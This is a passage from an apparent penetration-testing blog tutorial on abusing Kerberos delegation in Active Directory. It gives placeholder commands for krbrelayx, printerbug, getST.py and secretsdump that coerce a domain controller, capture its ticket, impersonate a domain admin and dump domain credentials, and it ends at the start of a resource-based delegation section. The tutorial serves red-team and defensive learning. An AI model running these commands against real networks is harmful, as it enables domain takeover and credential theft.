<pre style="line-height: 1.15; margin: 0px;"><span style="color: black; line-height: 1.15;">krbrelayx</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">.</span><span style="color: black; line-height: 1.15;">py</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">--</span><span style="color: black; line-height: 1.15;">krbsalt</span> <span style="color: black; line-height: 1.15;">DOMAIN</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">.</span><span style="color: black; line-height: 1.15;">FQDNUsernameCaseSensitive</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">--</span><span style="color: black; line-height: 1.15;">krbpass</span> <span style="color: black; line-height: 1.15;">PASSWORD</span>
</pre>
</div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqh4b9jAD8o4FRbx_qy8jj7evXYrORrFGj-bCjKKTvBTYyC4bJylDeCfTZrOrjrdnU0x418avLxNUnqVHpRgcjllh1OOUbUxpVmcndHccwryrWTp55FxzOQaX7-AkVWYe9_YwSNNItcws/s1600/u7.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="180" data-original-width="1226" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqh4b9jAD8o4FRbx_qy8jj7evXYrORrFGj-bCjKKTvBTYyC4bJylDeCfTZrOrjrdnU0x418avLxNUnqVHpRgcjllh1OOUbUxpVmcndHccwryrWTp55FxzOQaX7-AkVWYe9_YwSNNItcws/d/u7.png" /></a></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">Once you have that running in one window, we’ll use the final tool
within the krbrelayx toolkit to kick off the attack (Note: The user used to
kick off the attack doesn’t matter, it can be any domain user). The below shows what the successful attack
looks like:<o:p></o:p></span></div>
<!--HTML generated using hilite.me--><br />
<div style="background: rgb(248, 248, 248); border: solid gray; line-height: 1.15; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 1.15; margin: 0px;"><span style="color: black; line-height: 1.15;">printerbug</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">.</span><span style="color: black; line-height: 1.15;">py</span> <span style="color: black; line-height: 1.15;">DOMAIN</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">/</span><span style="color: black; line-height: 1.15;">USERNAME</span><span style="color: black; font-weight: bold; line-height: 1.15;">:</span><span style="color: black; line-height: 1.15;">PASSWORD</span><span style="color: black; line-height: 1.15;">@DC_HOSTNAME</span> <span style="color: black; line-height: 1.15;">FAKE_SYSTEM</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">.</span><span style="color: black; line-height: 1.15;">FQDN</span>
</pre>
</div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOzVXj2CX_7uuyXqbveTs8m4DCWONPwZK0jqLjXQHIZBhmi7mwaY_4nDd0cDEkSyAT_D9RmyrHZJKNpoW_c1VuznVSB5QYtMl6PjUy3pJHYlSJFcThqndppfjYIjx7gTOGnkKVMcwg-bE/s1600/u8.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="180" data-original-width="1028" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOzVXj2CX_7uuyXqbveTs8m4DCWONPwZK0jqLjXQHIZBhmi7mwaY_4nDd0cDEkSyAT_D9RmyrHZJKNpoW_c1VuznVSB5QYtMl6PjUy3pJHYlSJFcThqndppfjYIjx7gTOGnkKVMcwg-bE/d/u8.png" /></a></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">On our krbrelayx window, we should see that we have gotten an
inbound connection, and have obtained a tgt (</span><span style="font-family: calibri, sans-serif; line-height: 1.15;">formatted as .ccache</span><span style="font-family: calibri, sans-serif; line-height: 1.15;">) file for the DC$ account:<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnDkxKsSqPuKiO4XbnUgwyn3saeZRMop4NpDNoWaMC51jusgcqeQNkVINPR6tdCNeOSU3P3o26OYXLv__adoLuKhnG41vh5UxUlyl7c6-ZuMH1wmJL6sT_yfdSuFPfV_oyQ0j6zhJjfpQ/s1600/u9.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="143" data-original-width="781" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnDkxKsSqPuKiO4XbnUgwyn3saeZRMop4NpDNoWaMC51jusgcqeQNkVINPR6tdCNeOSU3P3o26OYXLv__adoLuKhnG41vh5UxUlyl7c6-ZuMH1wmJL6sT_yfdSuFPfV_oyQ0j6zhJjfpQ/d/u9.png" /></a></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">At this point, we just need to export the ticket we received into
memory, after which we should be able to run secretsdump against the DC</span><span style="font-family: calibri, sans-serif; line-height: 1.15;">:</span></div>
<!--HTML generated using hilite.me--><br />
<div style="background: rgb(248, 248, 248); border: solid gray; line-height: 1.15; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 1.15; margin: 0px;"><span style="color: black; line-height: 1.15;">export</span> <span style="color: black; line-height: 1.15;">KRB5CCNAME</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">=</span><span style="color: black; line-height: 1.15;">CCACHE_FILE</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">.</span><span style="color: black; line-height: 1.15;">CCACHE</span>
</pre>
</div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: 12pt; line-height: 1.15;"><br /></span></div>
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYBvO_8oJCw41yglv4dwuCoPhXXRI6nW9BvhAI6k295IK6PFrl23i1xG7LKXtfoli1AtJPzKzsV95jncnQcKCy47ElowNGpuHtDhdB6pXHSXjhyphenhyphenV49c_T3K1-C9kECF0r4dcH4iBDW3zE/s1600/u10.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="43" data-original-width="885" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYBvO_8oJCw41yglv4dwuCoPhXXRI6nW9BvhAI6k295IK6PFrl23i1xG7LKXtfoli1AtJPzKzsV95jncnQcKCy47ElowNGpuHtDhdB6pXHSXjhyphenhyphenV49c_T3K1-C9kECF0r4dcH4iBDW3zE/d/u10.png" /></a></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: 12pt; line-height: 1.15;"><br /></span></div>
<!--HTML generated using hilite.me--><div style="line-height: 1.15;"><br /></div><br />
<div style="background: rgb(248, 248, 248); border: solid gray; line-height: 1.15; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 1.15; margin: 0px;"><span style="color: black; line-height: 1.15;">secretsdump</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">.</span><span style="color: black; line-height: 1.15;">py</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">k</span> <span style="color: black; line-height: 1.15;">DC_Hostname</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">just</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">dc</span>
</pre>
</div>
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNjFxoypiE2lqIgqrTi2dHDk6mk1Qy6LPncBKdomVY-8K4MrLE7x7DR13XIoLvHhf4k32T6lMr2rG_DB61mlSw4v6SDND-exYR6fCb__jl8RIVai8lStS1ZC1dVUS2Gytohr0BjsnQoIE/s1600/u11.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><br /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNjFxoypiE2lqIgqrTi2dHDk6mk1Qy6LPncBKdomVY-8K4MrLE7x7DR13XIoLvHhf4k32T6lMr2rG_DB61mlSw4v6SDND-exYR6fCb__jl8RIVai8lStS1ZC1dVUS2Gytohr0BjsnQoIE/s1600/u11.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="254" data-original-width="862" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNjFxoypiE2lqIgqrTi2dHDk6mk1Qy6LPncBKdomVY-8K4MrLE7x7DR13XIoLvHhf4k32T6lMr2rG_DB61mlSw4v6SDND-exYR6fCb__jl8RIVai8lStS1ZC1dVUS2Gytohr0BjsnQoIE/d/u11.png" /></a></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: 12pt; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; font-size: 12pt; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; font-size: 12pt; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; font-size: 12pt; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; font-size: 12pt; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: 12pt; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: 12pt; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: 12pt; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: 12pt; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<h2 style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: x-large; line-height: 1.15;"><br /></span></h2>
<h2 style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: x-large; line-height: 1.15;"><br /></span></h2>
<h2 style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: x-large; line-height: 1.15;"><br /></span></h2>
<div style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: x-large; line-height: 1.15;"><br /></span></div>
<h2 style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: x-large; line-height: 1.15;">Constrained Delegation</span></h2>
<div style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><b style="line-height: 1.15;">What Is It?</b></span></div><div style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">Microsoft’s next iteration of delegation included the ability to
limit where objects had delegation (impersonation) rights to. Now a front-end web server that needed to
impersonate users to access their data on a database could be restricted;
allowing it to only impersonate users on a specific service & system. However, as we will find out, the portion of
the ticket that limits access to a certain service is not encrypted. This gives us some room to gain additional
access to systems if we gain access to an object configured with these rights.</span><br /><h4 style="line-height: 1.15;"><div class="MsoNormal" style="font-weight: 400; line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><b style="line-height: 1.15;">When To Use:</b></span></div><font face="calibri, sans-serif" style="line-height: 1.15;"><span style="font-weight: 400; line-height: 1.15;">If you can gain access to an account (user or computer) that is configured with constrained delegation. You can find this by searching for the ‘TRUSTED_TO_AUTH_FOR_DELEGATION’ value in the UserAccountControl attribute of AD objects. This can be also be found through the use of Pywerview, as outlined in the above section.</span></font><div class="MsoNormal" style="font-weight: 400; line-height: 1.15;"><br /></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;">Process Walkthrough:</span></div><div class="MsoNormal" style="font-weight: 400; line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;">This time, we’ll
start by targeting another account</span><span style="font-family: calibri, sans-serif; line-height: 1.15;">, httpDelegUser. As we can see from our initial enumeration
with Pywerview, this account has the ‘TRUSTED_TO_AUTH_FOR_DELEGATION’ flag
set. We can also check the contents of
the account’s <i style="line-height: 1.15;">msDS-AllowedToDelegateTo</i> attribute to determine that it has
delegation privileges to the www service on Server02. Not the worst thing in the world, but
probably not going to get us a remote shell.</span></div></h4></div></div><div style="line-height: 1.15;">
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJd0XbDTdiqKmy-A57UpU3IP7D4wCAtlYrHWKWB9igoI_X0BTVHpUPnk3QdKlBxuQ-Tx3kzNFOL75inBX4ByryHRlkXaLUM8pfs0jOV-xb6YYosW2DSolbAfX114hGvHNipethj81jg6M/s1600/c1.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="91" data-original-width="1049" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJd0XbDTdiqKmy-A57UpU3IP7D4wCAtlYrHWKWB9igoI_X0BTVHpUPnk3QdKlBxuQ-Tx3kzNFOL75inBX4ByryHRlkXaLUM8pfs0jOV-xb6YYosW2DSolbAfX114hGvHNipethj81jg6M/d/c1.png" /></a></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY7DywbeC3RM9VwfNW1GZZ_yJVILLqT5ERAVRyneck4u6PgIxpLVI1y8BPTVSUzosin0jdhF-L5zE-ZJ3YN8DMSswX9rp6MZ1ppuzFhXxIlPD7InzrXWt9IMu1ZmlvuXhkCgno_qARWjo/s1600/c2.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-left: auto; margin-right: auto;"><img border="0" data-original-height="75" data-original-width="559" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY7DywbeC3RM9VwfNW1GZZ_yJVILLqT5ERAVRyneck4u6PgIxpLVI1y8BPTVSUzosin0jdhF-L5zE-ZJ3YN8DMSswX9rp6MZ1ppuzFhXxIlPD7InzrXWt9IMu1ZmlvuXhkCgno_qARWjo/d/c2.png" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"> </td></tr></tbody></table><div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
</div>
<div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif;">Also a quick recap of the account’s group memberships:</span></div><div class="MsoNormal" style="line-height: 1.15;"><br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjV_ghbSdts3_ckteCh2oik7Q6Og8IdKtAB7N6HR84FjYSgHitKwUVPIGeuLJy8dVYraPRKIQQhWl4doWXbURw6jEcwGGidwp2GqgrJfhsyC7yFjHQpj5oiiIQdxqbiRVALQYzfhXaHVRQ/s1600/c3.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-left: auto; margin-right: auto;"><img border="0" data-original-height="289" data-original-width="493" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjV_ghbSdts3_ckteCh2oik7Q6Og8IdKtAB7N6HR84FjYSgHitKwUVPIGeuLJy8dVYraPRKIQQhWl4doWXbURw6jEcwGGidwp2GqgrJfhsyC7yFjHQpj5oiiIQdxqbiRVALQYzfhXaHVRQ/d/c3.png" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"> </td></tr></tbody></table><div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
</div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;">To start this attack, we’ll use another impacket tool – getST.py –
to retrieve a ticket for an impersonated user to the service we have delegation
rights to (the www service on server02 in this case). In this example we’ll impersonate ‘bob’, a
domain admin in this environment. Note:
If a user is marked as ‘</span><i style="font-family: calibri, sans-serif; line-height: 1.15;">Account is sensitive and cannot be delegated</i><span style="font-family: calibri, sans-serif; line-height: 1.15;">’ in AD,
you will not be able to impersonate them. </span></div><div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">k</span></div>
<!--HTML generated using hilite.me--><br />
<div style="background: rgb(248, 248, 248); border: solid gray; line-height: 1.15; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 1.15; margin: 0px;"><span style="color: black; line-height: 1.15;">getST</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">.</span><span style="color: black; line-height: 1.15;">py</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">spn</span> <span style="color: black; line-height: 1.15;">SERVICE</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">/</span><span style="color: black; line-height: 1.15;">HOSTNAME_YOU_HAVE_DELEGATION_RIGHTS_TO</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">.</span><span style="color: black; line-height: 1.15;">FQDN</span> <span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">-</span><span style="color: black; line-height: 1.15;">impersonate</span> <span style="color: black; line-height: 1.15;">TARGET_USER</span> <span style="color: black; line-height: 1.15;">DOMAIN</span><span style="color: #ce5c00; font-weight: bold; line-height: 1.15;">/</span><span style="color: black; line-height: 1.15;">USERNAME</span><span style="color: black; font-weight: bold; line-height: 1.15;">:</span><span style="color: black; line-height: 1.15;">PASSWORD</span>
</pre>
</div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4m7tZhfQJS4Tc_Jga3MRheQUMptC0T73AQFrS938Jr9_-Lcqk_MLzwD8otuWje6lqZ9bLn5psddOYeY96QYWUYirTGcc0YQqn8BQ0oxFiJCApQQagPqxEEdZL4ktFAsBJcHO2eCc_2TI/s1600/c4.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="181" data-original-width="1000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4m7tZhfQJS4Tc_Jga3MRheQUMptC0T73AQFrS938Jr9_-Lcqk_MLzwD8otuWje6lqZ9bLn5psddOYeY96QYWUYirTGcc0YQqn8BQ0oxFiJCApQQagPqxEEdZL4ktFAsBJcHO2eCc_2TI/d/c4.png" /></a></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">From here, the initial assumption would be that we could only
authenticate against the www service on server02 with this ticket. However, Alberto Solino discovered that the
service name portion of the ticket (sname) is not actually a protected part of
the ticket. This allows us to change the
sname to any value we want, as long as its another service running under the
same account as the original one we have delegation rights to. For example, if our account (httpDelegUser)
has delegation rights to a service that the server02 computer object is running
(example SPN: www/server02), we can change our sname to any other SPN
associated with server02 (ex. cifs/server02).
His blog on the mechanism by which this occurs is super insightful, and
worth a read: </span><a href="https://www.secureauth.com/blog/kerberos-delegation-spns-and-more" style="line-height: 1.15;">https://www.secureauth.com/blog/kerberos-delegation-spns-and-more</a></div>
<div class="MsoNormal" style="line-height: 1.15;">
<o:p></o:p></div>
<div class="MsoNormal" style="line-height: 1.15;">
<br /></div>
<div class="MsoNormal" style="line-height: 1.15;">
</div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">Even better for us, as Alberto Solino is one of the primary
writers of impacket, he built this logic in so that these sname conversions
happen automatically for us on the back-end:<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiozc-PgqKOifw40vZ2ogP5RA5Fs6HFTxwNuVoHTovLchdRtS1wu01rqvtZFVA58-MNcLok7oXhSXrg1HZotP7m_HGA6A1-g5gbX-DCLxqgF7xf_9ePPeU7o2vp9NDBJPT42w20KSPSlGs/s1600/c5.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="88" data-original-width="1083" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiozc-PgqKOifw40vZ2ogP5RA5Fs6HFTxwNuVoHTovLchdRtS1wu01rqvtZFVA58-MNcLok7oXhSXrg1HZotP7m_HGA6A1-g5gbX-DCLxqgF7xf_9ePPeU7o2vp9NDBJPT42w20KSPSlGs/d/c5.png" /></a></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><br /></span></div><div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; line-height: 1.15;">From an operational standpoint, what this means is that the ticket
for the www service we obtained in the step above can be loaded into memory and
used to run just about any of the impacket suite of tools to run commands, dump
SAM, etc.<span style="font-size: 12pt; line-height: 1.15;"><o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: 12pt; line-height: 1.15;"><br /></span></div>
<div class="separator" style="clear: both; line-height: 1.15; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizCBB9prC1WP8rghFK7YDWn8_9Z5yKEF7Jf2kF0KhA5ftwa2b3dU9EmrB4gbgg1gh1tSa2xyz_oPkvJbNviQ39B5vY7QcXiVGnQ93VZEkw3y5O_oKgZ_SN1zMrUySYQ2P1f73-mSDMn00/s1600/c6.png" style="clear: left; float: left; line-height: 1.15; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="191" data-original-width="977" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizCBB9prC1WP8rghFK7YDWn8_9Z5yKEF7Jf2kF0KhA5ftwa2b3dU9EmrB4gbgg1gh1tSa2xyz_oPkvJbNviQ39B5vY7QcXiVGnQ93VZEkw3y5O_oKgZ_SN1zMrUySYQ2P1f73-mSDMn00/d/c6.png" /></a></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: 12pt; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: 12pt; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: 12pt; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: 12pt; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: 12pt; line-height: 1.15;"><br /></span></div>
<div class="MsoNormal" style="line-height: 1.15;">
<h2 style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: x-large; line-height: 1.15;"><br /></span></h2>
<h2 style="line-height: 1.15;">
<span style="font-family: calibri, sans-serif; font-size: x-large; line-height: 1.15;"><br /></span></h2>
<h2 style="line-height: 1.15;"><span style="color: white; font-family: calibri, sans-serif; font-size: x-large; line-height: 1.15;"><br /></span></h2><h2 style="line-height: 1.15;"><div class="MsoNormal" style="font-size: medium; font-weight: 400; line-height: 1.15;"><span style="font-family: calibri, sans-serif; line-height: 1.15;"><b style="line-height: 1.15;"><font size="5" style="line-height: 1.15;">Resource-Based Constrained Delegation</font></b></span></div><div class="MsoNormal" style="font-size: medium; font-weight: 400; line-height: 1.15;"><br /></div><div class="MsoNormal" style="font-size: medium; font-weight: 400; line-height: 1.15;"><i style="font-family: calibri, sans-serif; font-weight: normal; line-height: 1.15;">Note:</i><span style="font-family: calibri, sans-serif; line-height: 1.15;"><span style="font-weight: normal; line-height: 1.15;"> Microsoft is releasing an update in March 2020 that will
enable LDAP channel binding & LDAP signing by default on Windows systems,
remediating this potential attack vector on fully patched systems.</span> </span></div></h2>
